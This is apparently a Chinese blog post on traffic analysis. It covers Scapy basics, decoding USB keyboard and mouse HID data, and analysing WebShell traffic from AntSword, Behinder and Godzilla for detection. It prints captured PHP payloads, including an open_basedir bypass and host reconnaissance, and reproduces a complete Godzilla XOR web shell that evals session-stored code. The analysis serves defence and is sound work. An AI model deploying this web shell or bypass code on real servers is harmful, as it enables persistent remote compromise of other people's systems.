基础
前言
流量分析(Traffic Analysis)又可以称作是网络取证(Network
Forensics),正如其名,就是对计算机或计算机网络通信所产生的流量进行分析的一门技术。
只要有通信就会产生流量。
在这里不过多赘述概念,本篇博客将注重于记录各种有特点的流量分析,或者是协议分析等。
主要使用的软件是 Wireshark 和 Python,其中需要借助 Scapy 库。
网络体系结构
TCP/IP
是因特网上的标准通信协议集,它不是针对某一个协议(例如
TCP 协议或 IP 协议)。
TCP/IP 的体系结构分为 4 层,分别是
应用层 |
FTP,SMTP,HTTP 等上层协议 |
传输层 |
TCP/UDP |
网络互连层 |
把数据分组发往目标网络或主机 |
网络接口层 |
负责与物理网络的连接 |
其中为了方便讲解和理解,网络接口层一般被拆分为数据链路层和物理层。
而在网络通信中传输的最小单元,即协议数据单元
PDU,是数据在不同层次上的封装单元,它包含了特定协议层所需的信息。
每个协议层都将上一层的数据包装成PDU,然后传递给下一层,自上而下层层封装。
SCAPY
Scapy 就是协议数据单元 PDU 的概念制作和分析报文的。
例如说一个最简单的 HTTP
协议完整报文应该是由数据链路层,网络层,传输层和应用层的协议封装而成的,那么在
Scapy 中,仅需简单拼接即可得到
1 2 3 4
| from scapy.layers.l2 import * from scapy.layers.inet import *
packet = Ether() / IP() / TCP() / "GET / HTTP/1.1\r\n"
|
回显为
1
| <Ether type=IPv4 |<IP frag=0 proto=tcp |<TCP |<Raw load='GET / HTTP/1.1\r\n' |>>>>
|
协议头与数据的概念一目了然。
USB流量
计算机与 USB 设备进行通信,同样也会产生流量,不过我们主要关注 HID USB
设备所产生的流量。
USB-IF 组织总结了标准 HID USB 设备的定义和使用等相关的文档,可以参考
HID Usage
Tables,以下简称 HIDUT。
其中 HIDUT 有两份文件,一份是 PDF 文档,一份是 PDF 文档的附加文件
HidUsageTables.json
,PDF 文档内容用于解释 JSON 数据。
推荐使用 Adobe Acrobat Reader
提取附件,可以附加附件的功能暂且也只有该软件提供。
有关流量协议部分,可以参考微软官方文档:
简单来说,HID 由两个部分组成:
- 报告描述符(Report
Descriptor):描述了设备支持的数据的格式和含义
- 报告(Report):设备和软件客户端之间交换的实际数据,即携带的 HID
Data。
报告的长度在一定程度上是固定的 8 字节,这是因为 CMOS
启动固件不处理报告描述符,故报告的缓冲区大小就是固定的 8 字节。
如果报告的长度大于 8 字节,那么在 BIOS 阶段无法识别设备信息。
键盘流量
对于键盘设备的 HID 数据在文档中有着严格定义,详细可以参考 10
Keyboard/Keypad Page (0x07),其 Usage Page Id
为0x07
。
理论上来说一个 HID 键盘设备仅需三个字节就可以描述一次输入,其中
Bytes[0]
是修饰键
Bytes[1]
是保留字节
Bytes[2]
是映射键。
如果长度为 8 字节,那么其后六个字节 Bytes[2:8]
是同时按下的映射键。
如果更多,可能有其他用途。
键盘布局参考:中文(简体)-美式键盘。
脚本参考。
鼠标流量
对于鼠标设备的 HID 数据,最少需要三字节(Linux 的
micelog),常规还有短的 4 字节,其中
Bytes[0]
是按键掩码(左中右)
Bytes[1]
是指针 x 轴偏移量
Bytes[2]
是指针 y 轴偏移量
Bytes[3]
是滚轮偏移量
正常是 8 字节,其中
Bytes[0]
是按键掩码(左中右)
Bytes[2:4]
是指针 x 轴偏移量
Bytes[4:6]
是指针 y 轴偏移量
Bytes[6]
是垂直滚轮偏移量
Bytes[7]
是水平滚轮偏移量
所有偏移量均是补码形式。
脚本参考。
WebShell 流量
WebShell
流量分析是威胁分析中比较重要的部分,旨在监测、识别和分析网络中传输的
WebShell 相关流量,包括但不限于应急响应,自动化监测等。
WebShell流量分析需要具备相关的网络安全知识,能够识别恶意代码、特定命令和异常行为,并最好能够追踪和溯源攻击者的来源和行为,包括分析其中的IP地址、用户代理或请求参数等信息。
简单的WebShell常常采用一句话木马,利用简单的HTTP请求传递参数,以实现远程执行命令(Remote
Code Execution,RCE)的行为。
防护措施不断升级,最简单的防御方法之一是监测传递的参数中是否含有敏感词。然而,出于对抗监测的目的,一些
WebShell 使用了 Base64 等编码方式对参数进行隐藏。这导致了一些 WebShell
管理和注入软件的出现,例如菜刀(Cknife)、AntSword 等。
更高级的WebShell常常采用AES等非对称加密对传递的参数进行加密执行,例如冰蝎(Behinder)等,采用了更复杂的编码和通信方式,以增加检测和防御的难度。这些工具不仅能够对传递的参数进行加密隐藏,还可能通过多个通信协议进行通信,如
HTTP、DNS、ICMP 等,使得流量更难以被检测和分析。
故在此记录并总结常见 WebShell 流量的特征与分析。
AntSword
抓包
AntSword 基于中国菜刀开发,支持多种类型的 WebShell,具体可以参考官方文档和官方仓库。
首先先进行简单的抓包,只尝试连接,得到的负载代码如下(经过格式化处理)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| @ini_set("display_errors", "0"); @set_time_limit(0); $opdir = @ini_get("open_basedir"); if ($opdir) { $ocwd = dirname($_SERVER["SCRIPT_FILENAME"]); $oparr = preg_split(base64_decode("Lzt8Oi8="), $opdir); @array_push($oparr, $ocwd, sys_get_temp_dir()); foreach ($oparr as $item) { if (!@is_writable($item)) { continue; }; $tmdir = $item . "/.5b36e59748b"; @mkdir($tmdir); if (!@file_exists($tmdir)) { continue; } $tmdir = realpath($tmdir); @chdir($tmdir); @ini_set("open_basedir", ".."); $cntarr = @preg_split("/\\\\|\//", $tmdir); for ($i = 0; $i < sizeof($cntarr); $i) { @chdir(".."); }; @ini_set("open_basedir", "/"); @rmdir($tmdir); break; }; };; function asenc($out) { return $out; }; function asoutput() { $output = ob_get_contents(); ob_end_clean(); echo "75b9" . "e75f9"; echo @asenc($output); echo "94" . "c37"; } ob_start(); try { $D = dirname($_SERVER["SCRIPT_FILENAME"]); if ($D == "") $D = dirname($_SERVER["PATH_TRANSLATED"]); $R = "{$D} "; if (substr($D, 0, 1) != "/") { foreach (range("C", "Z") as $L) if (is_dir("{$L}:")) $R .= "{$L}:"; } else { $R .= "/"; } $R .= " "; $u = (function_exists("posix_getegid")) ? @posix_getpwuid(@posix_geteuid()) : ""; $s = ($u) ? $u["name"] : @get_current_user(); $R .= php_uname(); $R .= " {$s}"; echo $R;; } catch (Exception $e) { echo "ERROR://" . $e->getMessage(); }; asoutput(); die();
|
通过多抓几次包可以发现,基本上代码的主体框架,或者说是特征是一样的,最显眼的便是下面两句话
1 2
| @ini_set("display_errors", "0"); @set_time_limit(0);
|
想要分析出 AntSword 的所有行为,通过抓包逐一分析是复杂的,但是有了对
AntSword 的基本认识,就可以来分析 AntSword 的代码了。
主逻辑
AntSword 的代码十分浅显,不难发现重点在于 core
库中编写的代码,其中包含所支持的所有连接类型。
连接类型是 AntSword
的一个术语,可以理解为使用什么语言的代码来解析不同的行为。
在文件夹 core/php
下有三个文件夹
encoder
,decoder
和
template
,分别对应的是编码器、解码器和命令执行代码;还有一个入口文件
index.js
。
首先分析 index.js
,观察到 119 行
data['_'] = ...
,这是最终返回的负载形式,格式化代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| @ini_set("display_errors", "0"); @set_time_limit(0); ${bypassOpenBaseDirCode}; ${asencCode}; function asoutput() { $output = ob_get_contents(); ob_end_clean(); echo "${tag_s . substr(0, tag_s . length / 2)}" . "${tag_s . substr(tag_s . length / 2)}"; echo @asenc($output); echo "${tag_e . substr(0, tag_e . length / 2)}" . "${tag_e . substr(tag_e . length / 2)}"; } ob_start(); try { ${tmpCode}; } catch (Exception $e) { echo "ERROR://" . $e->getMessage(); }; asoutput(); die();
|
与上文抓包进行比对,可以发现基本一致。
向代码上文进行匹配
bypassOpenBaseDirCode
,不难发现也是固定的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| $opdir=@ini_get("open_basedir"); if($opdir) { $ocwd=dirname($_SERVER["SCRIPT_FILENAME"]); $oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir); @array_push($oparr,$ocwd,sys_get_temp_dir()); foreach($oparr as $item) { if(!@is_writable($item)){ continue; }; $tmdir=$item."/.${opdir}"; @mkdir($tmdir); if(!@file_exists($tmdir)){ continue; } $tmdir=realpath($tmdir); @chdir($tmdir); @ini_set("open_basedir", ".."); $cntarr=@preg_split("/\\\\\\\\|\\//",$tmdir); for($i=0;$i<sizeof($cntarr);$i++){ @chdir(".."); }; @ini_set("open_basedir","/"); @rmdir($tmdir); break; }; };
|
再向上文匹配 asencCode
,可以找到目标代码
1 2 3 4 5
| if (!force_default) { asencCode = this.__decoder__[this.__opts__['decoder'] || 'default'].asoutput(ext); } else { asencCode = this.__decoder__['default'].asoutput(ext); }
|
得知这与解码器(decoder)的设置有关系。
最终用于执行指定命令的代码是 tmpCode
,可以找到代码
1
| let tmpCode = data['_'];
|
而 data
可以通过注释猜测为 template
中的代码,比如说查看
template/base.js
,可以发现其中一部分代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| info: { _: `$D=dirname($_SERVER["SCRIPT_FILENAME"]); if($D=="") $D=dirname($_SERVER["PATH_TRANSLATED"]); $R="{$D}\t"; if(substr($D,0,1)!="/"){ foreach(range("C","Z")as $L) if(is_dir("{$L}:"))$R.="{$L}:"; }else{ $R.="/"; } $R.="\t"; $u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):""; $s=($u)?$u["name"]:@get_current_user(); $R.=php_uname(); $R.="\t{$s}"; echo $R;`.replace(/\n\s+/g, '') }
|
与上文抓包得到的代码一致。
至此,AntSword
的主要逻辑便分析完成:将不同的命令使用不同的模板代码填充基本框架。
接下来就是两大 AntSword 核心功能:编码器与解码器
编码器与解码器
解码器相对于编码器较为简单,即主逻辑中的 asencCode
根据解码器的选择而改变,比如说 base64 的解码器功能即会使得输出函数为
1 2 3 4 5 6
| asoutput: () => { return `function asenc($out){ return @base64_encode($out); } `.replace(/\n\s+/g, ''); }
|
即使用 base64_encode
函数对输出进行编码,故还需要一个解码函数来解析输出向用户展示
1 2 3
| decode_buff: (buff) => { return Buffer.from(buff.toString(), 'base64'); }
|
可以尝试抓包,会得到与默认输出不同的输出
1
| d10db/var/www/html / Linux aurora-vm-202 5.15.0-89-generic #99-Ubuntu SMP Mon Oct 30 20:42:41 UTC 2023 x86_64 www-data87ed9f4e2
|
1
| 4192a127b3L3Zhci93d3cvaHRtbAkvCUxpbnV4IGF1cm9yYS12bS0yMDIgNS4xNS4wLTg5LWdlbmVyaWMgIzk5LVVidW50dSBTTVAgTW9uIE9jdCAzMCAyMDo0Mjo0MSBVVEMgMjAyMyB4ODZfNjQJd3d3LWRhdGE=52bd993e
|
其中前后会出现一些干扰字符是因为 asoutput
函数,去除可以得到 Base64 字符串
L3Zhci93d3cvaHRtbAkvCUxpbnV4IGF1cm9yYS12bS0yMDIgNS4xNS4wLTg5LWdlbmVyaWMgIzk5LVVidW50dSBTTVAgTW9uIE9jdCAzMCAyMDo0Mjo0MSBVVEMgMjAyMyB4ODZfNjQJd3d3LWRhdGE=
,解码后上下结果相同。
对于编码器,最好结合抓包示例分析,抓包结果如下(去除了过长的部分,实际上
Base64 解码后就是 info
代码)
1
| d35f7a54ed3f61=...&qsdzyyds=@eval(@base64_decode($_POST['d35f7a54ed3f61']));
|
可以发现就是将传送的指令变为了 Base64 解码另一个参数,再结合
encoder/base64.js
的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| (pwd, data, ext = null) => { let randomID; if (ext.opts.otherConf['use-random-variable'] === 1) { randomID = antSword.utils.RandomChoice(antSword['RANDOMWORDS']); } else { randomID = `${antSword['utils'].RandomLowercase()}${Math.random().toString(16).substr(2)}`; } data[randomID] = Buffer .from(data['_']) .toString('base64'); data[pwd] = `@eval(@base64_decode($_POST['${randomID}']));`; delete data['_']; return data; }
|
不难得知,实际上是随机生成一个新参数的名字,然后将 Base64
编码后的结果通过另一种方式传递。
至此,AntSword 两大核心功能也分析完毕。
对于其他连接类型下的代码分析方法一致,这里不再一一赘述。
防御
为了便于分析或防御 AntSword
流量,可以通过一些特征入手,比如说匹配模板代码,或者说匹配框架代码。
Behinder
抓包
AntSword 的内容对于流量传输过程没有任何加密(这也是菜刀的功能),于是
AntSword 提供了 custom 连接类型,方便用户自定义流量加密。
Behinder 与 AntSword 有些不同,Behinder
天生就提供流量加密功能,需要用户写入加密、解密函数,生成服务端 WebShell
上传,才可以进行连接。
在 Behinder 的用语里,这叫做传输协议。
当然也提供默认的服务端 WebShell,在 server
文件夹中,也有一些自定义协议可以直接生成默认服务端。
这里使用默认的 default_xor_base64 传输协议,这是为了方便解析。
为了方便这里提供解密脚本
1 2 3 4 5 6 7 8
| import base64 import itertools from urllib.parse import unquote
def decrypt_default_xor_base64(encrypt_content: str, key: str = "e45e329feb5d925b"): xor_content = base64.b64decode(unquote(encrypt_content)) key = key[1:] + key[:1] return bytes([c ^ k for c, k in zip(xor_content, itertools.cycle(key.encode()))])
|
解析后得到格式化后的代码如下(过长代码删去)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| @error_reporting(0); function main($content) { $result = array(); $result["status"] = base64_encode("success"); $result["msg"] = base64_encode($content); @session_start();
echo encrypt(json_encode($result)); }
function Encrypt($data) { $key="e45e329feb5d925b"; for($i=0;$i<strlen($data);$i++) { $data[$i] = $data[$i]^$key[$i+1&15]; } $bs="base64_"."encode"; $after=$bs($data.""); return $after; } $content="...";$content=base64_decode($content); main($content);
|
这里的 content
仅作测试,无实际含义。
在测试连接正常后,会发送第二次请求
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85
| error_reporting(0); function main($whatever) { $result = array(); ob_start(); phpinfo(); $info = ob_get_contents(); ob_end_clean(); $driveList =""; if (stristr(PHP_OS,"windows")||stristr(PHP_OS,"winnt")) { for($i=65;$i<=90;$i++) { $drive=chr($i).':/'; file_exists($drive) ? $driveList=$driveList.$drive.";":''; } } else { $driveList="/"; } $currentPath=getcwd(); $osInfo=PHP_OS; $arch="64"; if (PHP_INT_SIZE == 4) { $arch = "32"; } $localIp=gethostbyname(gethostname()); if ($localIp!=$_SERVER['SERVER_ADDR']) { $localIp=$localIp." ".$_SERVER['SERVER_ADDR']; } $extraIps=getInnerIP(); foreach($extraIps as $ip) { if (strpos($localIp,$ip)===false) { $localIp=$localIp." ".$ip; } } $basicInfoObj=array("basicInfo"=>base64_encode($info),"driveList"=>base64_encode($driveList),"currentPath"=>base64_encode($currentPath),"osInfo"=>base64_encode($osInfo),"arch"=>base64_encode($arch),"localIp"=>base64_encode($localIp)); $result["status"] = base64_encode("success"); $result["msg"] = base64_encode(json_encode($basicInfoObj)); echo encrypt(json_encode($result)); } function getInnerIP() { $result = array();
if (is_callable("exec")) { $result = array(); exec('arp -a',$sa); foreach($sa as $s) { if (strpos($s,'---')!==false) { $parts=explode(' ',$s); $ip=$parts[1]; array_push($result,$ip); } }
}
return $result; }
function Encrypt($data) { $key="e45e329feb5d925b"; for($i=0;$i<strlen($data);$i++) { $data[$i] = $data[$i]^$key[$i+1&15]; } $bs="base64_"."encode"; $after=$bs($data.""); return $after; } $whatever="SnFNVUd3dDBJbjc2azFFbEtZM1hVWWlmc1NjM2tBMjZFeUcwb25Lbmd2Mkp2N3cxaGNvajZQZTlnWkxYRmU3S3ZQYjRadHZxUHFteU9zT0JyVVBmN2l0cFlUVlpqSkE2T3RNeEk5R0FTR2FQUE9aRmZZaDM2azA0cnhzM293ZVZlOFB4aktvVlRyTzBEazZQM3EzcE5lM3p3d0x4eUFXZXRrellYSnpnNWhHSUdwcVVTV0RsZmZUcEtmN1pLQmtRYmJvQ3NDU3VlUXJQdDlXdGdycGxOV0I2T1ZBOHdLaWlMNHU3cjh3ZFZjRFg2djdMOHRORWpvbFVmSzhvYkFnRUFOZWZLYzVVUWdkQ2dkTTVrWHU4YlpGOE9wNndQR3VaWVNRT1RsdWE4WXQ2bGFhVGZrMzVmc3dSUW05MnBycUlxOUYxU3pUeGlxeFNZTTlTUHBHd3RhVnVJcmxFMXZGYklzSHJOOUppVEVRUHlDSjlSQTV2RkhBSzZ5Q25WdjBEbktRbElqRmFMeXJScGhtNE11SWRaUmY5NXZZVEZlcDlTbnZOVGRMQ2d0UXdSZlRtZmJhQW5KUGd4SmlvamhTNWd4QlhJWmxpdkxGT0U3YjRYVFFZSnJudTNBaEN4NzduajJnaDdyb1ZwOGozTVFuZUhhTWtpR0NqYjhkSUh1ZWdzZ0lMWms=";$whatever=base64_decode($whatever); main($whatever);
|
不难看出是在获取 phpinfo()
和其他基本信息,这也正是在
Behinder 界面所看到的结果。
如果再进一步,比如说获取目录信息,可以得到这样的参数(删除了部分代码)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| error_reporting(0); header('Content-Type: text/html; charset=UTF-8');
function main($mode, $path = ".", $hash = "", $blockIndex = "", $blockSize = "", $content = "", $charset = "", $newpath = "", $createTimeStamp = "", $accessTimeStamp = "", $modifyTimeStamp = "") { $path = getSafeStr($path); if (!file_exists($path)) { $path=getgbkStr($path); } $result = array(); if ($path == ".") $path = getcwd(); switch ($mode) { case "list": $allFiles = scandir($path); $objArr = array(); foreach ($allFiles as $fileName) { $fullPath = $path . $fileName; if (!function_exists("mb_convert_encoding")) { $fileName = getSafeStr($fileName); } else { $fileName = mb_convert_encoding($fileName, 'UTF-8', mb_detect_encoding($fileName, "UTF-8,GBK")); } $obj = array( "name" => base64_encode($fileName), "size" => base64_encode(filesize($fullPath)), "lastModified" => base64_encode(date("Y-m-d H:i:s", filemtime($fullPath))) ); $obj["perm"] = base64_encode((is_readable($fullPath) ? "R" : "-") . "/" . (is_writable($fullPath) ? "W" : "-") . "/" . (is_executable($fullPath) ? "E" : "-")); if (is_file($fullPath)) { $obj["type"] = base64_encode("file"); } else { $obj["type"] = base64_encode("directory"); } array_push($objArr, $obj); } $result["status"] = base64_encode("success"); $result["msg"] = base64_encode(json_encode($objArr)); echo encrypt(json_encode($result)); break; case "show": break; } } function Encrypt($data) { $key="e45e329feb5d925b"; for($i=0;$i<strlen($data);$i++) { $data[$i] = $data[$i]^$key[$i+1&15]; } $bs="base64_"."encode"; $after=$bs($data.""); return $after; } $mode="bGlzdA==";$mode=base64_decode($mode);$path="L3Zhci93d3cvaHRtbC8=";$path=base64_decode($path);$hash="";$blockIndex="";$blockSize="";$content="";$charset="";$newpath="";$createTimeStamp="";$accessTimeStamp="";$modifyTimeStamp=""; main($mode,$path,$hash,$blockInde,$accessTimeStamp,$modifyTimeStamp);
|
可以发现与 AntSword 不同,Behinder
倾向于一次注入所有的功能代码,随后通过函数调用的方式改变马的行为,其中
mode
是 list
,对应列出目录的代码。
逆向
当然想分析 Behinder 的行为,跟分析 AntSword
是一样的,我们得从源代码入手。
使用 jdax 对 Behinder.jar 进行逆向,具体细节不再阐述,其中
- 源代码的
net.rebeyond.behinder.core.ShellService
类负责了基本的 WebShell
功能,主要逻辑是通过向模板代码中添加运行代码,例如上文中的
main($mode,$path,$hash,$blockInde,$accessTimeStamp,$modifyTimeStamp);
那样。
- 资源文件
net.rebeyond.behinder.payload
下打包了所有可用的模板代码,可以根据此作为特征进行防御,其中
net.rebeyond.behinder.payload.php
下的
BasicInfo.php
文件就是抓包时看到的代码。
- 源代码
net.rebeyond.memshell
是内存马相关的类。
防御
可以基于 net.rebeyond.behinder.payload
对相关内容进行特征抓取,但 Behinder
的难点在于其全过程流量加密,使得无法轻易感知。但与之相对的特点是每次传输的内容比较大,且默认的
UA 较老
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0
,同时密钥并非动态,非
AES 加密容易破解,AES 加密可以进行差分攻击。
Godzilla
抓包
Godzilla 与 Behinder 行为较为类似,不过 Godzilla
的流量更加隐蔽也更加复杂。
使用 Godzilla 的 PHP_XOR_BASE64 的动态加密功能,生成的服务端 Shell
如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| <?php @session_start(); @set_time_limit(0); @error_reporting(0); function encode($D,$K){ for($i=0;$i<strlen($D);$i++) { $c = $K[$i+1&15]; $D[$i] = $D[$i]^$c; } return $D; } $pass='pass'; $payloadName='payload'; $key='3c6e0b8a9c15224a'; if (isset($_POST[$pass])){ $data=encode(base64_decode($_POST[$pass]),$key); if (isset($_SESSION[$payloadName])){ $payload=encode($_SESSION[$payloadName],$key); if (strpos($payload,"getBasicsInfo")===false){ $payload=encode($payload,$key); } eval($payload); echo substr(md5($pass.$key),0,16); echo base64_encode(encode(@run($data),$key)); echo substr(md5($pass.$key),16); }else{ if (strpos($data,"getBasicsInfo")!==false){ $_SESSION[$payloadName]=encode($data,$key); } } }
|
抓到的包经过 Behinder
同样的解密脚本(密码需要更改),得到如下格式化代码(由于代码太长,删去部分)
1 2 3 4 5 6
| $parameters=array(); $_SES=array(); function run($pms){ }
|
可以看出与 Behinder 一致,是一个格式化代码,但是结合 Shell
代码来看,Godzilla 会将这部分模板代码注入到 Session 中,即
$_SESSION[$payloadName]=encode($data,$key);
,这样避免了上文提到
Behinder 的多个交互流量过大的情况。
在这之后的流量会通过注入的代码中的 run
函数进行调用,即
@run($data)
。
run
传递的参数中会有一定的序列化(格式化),可以参考
formatParameter
函数,不影响解析。
在注入 Session 后的一个流量,会调用 test
函数,即参数
1
| b'methodName\x02\x04\x00\x00\x00test'
|
返回值会前后携带固定的 md5 值的前后 16 个字符,与加密逻辑一致。
不过需要注意的是,有时 Godzilla 会使用 gzip
进行压缩以减小数据传输量。
其余行为与 Behinder 类似。